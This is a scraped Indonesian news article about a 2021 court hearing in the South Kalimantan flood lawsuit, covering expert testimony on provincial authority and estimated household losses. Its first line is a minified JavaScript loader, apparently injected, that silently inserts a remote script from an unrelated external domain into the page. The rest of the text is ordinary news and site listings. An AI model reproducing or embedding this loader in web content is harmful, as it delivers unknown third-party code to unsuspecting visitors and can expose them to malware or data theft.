(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Sidang Gugatan Banjir Kalsel, Segini Nilai Kerugian Menurut Ahli terkait Kerusakan Rumah Warga


KANALKALIMANTAN.COM, BANJARMASIN – Sidang kasus gugatan korban banjir Kalsel tahun 2021 kembali digelar di Pengadilan Tata Usaha Negara (PTUN) Banjarmasin, Rabu (1/9/2021).

Sidang kali ini mengagendakan pemeriksaan saksi ahli penggugat yang terdiri dari Prof Dr HM Hadin Muhjad selaku ahli dari Fakultas Hukum Universitas Lambung Mangkurat (ULM) dan Dr Eng Akbar Rahman ST, MT, selaku ahli dari Fakultas Teknik ULM.

Pada sidang tersebut, Hadin mengatakan perbuatan melawan hukum oleh pemerintah mengenai kejadian banjir adalah kewenangan Pengadilan TUN.

“Dan berkaitan dengan kewenangan saat terjadi bencana, kalau peristiwanya lintas kabupaten atau kota maka menjadi kewenangan Pemerintah Provinsi,” katanya sebagaimana rilis yang disampaikan pengacara Tim Advokasi Banjir Kalsel, M Pazri kepada Kanalkalimantan.com.

 

 

Sementara itu, saksi ahli Akbar Rahman menyampaikan taksiran kerugian yang dialami oleh warga Kalsel dihitung atas kehilangan rumah tempat tinggal, harta benda, dan surat-surat berharga. Begitu juga kerugian lainnya seperti rusaknya infrastruktur seperti jalan, jembatan, sekolah, tempat ibadah, jalur pedestrian, drainase, sistem utilitas seperti air bersih, telekomunikasi, hingga penerangan.

Baca juga: Keluh Kesah Pedagang Pasar Pondok Mangga: dari Parkir Liar hingga Berjualan di Luar Lokasi

Akbar menaksir kerugian setiap kepala keluarga ditaksir sebagai berikut:

a. Rumah hilang : Rp 100 juta
b. Rumah rusak parah : Rp 75 juta
c. Rumah rusak ringan : Rp 40 juta
d. Rumah terendam : Rp 20 juta

Penghitungan tersebut, dihitung berdasarkan estimasi biaya bangunan 3 juta/m2 mengacu pada harga satuan pokok kegiatan pokok kegiatan provinsi Kalimantan Selatan tahun 2021.

Baca juga: Dua Hari Pencarian, Penumpang Feri yang Tenggelam di Sungai Barito Ditemukan

Terkait hal tersebut, Pazri mengatakan, mestinya pada saat dan pasca bencana ada dilakukan kajian untuk dievaluasi.

“Namun nyatanya pada kejadian banjir ini belum ada kajian atas kejadian banjir tersebut,” tegasnya.

Untuk sidang lanjutan akan di laksanakan pada Selasa tanggal 7 September 2021 dengan agenda tambahan bukti surat dan elektronik terakhir untuk penggugat dan tergugat. (kanalkalimantan.com/seno)

Reporter: seno
Editor: cell


Desy Arfianty

Recent Posts

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

9 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

11 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

11 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

16 jam ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

17 jam ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

1 hari ago

This website uses cookies.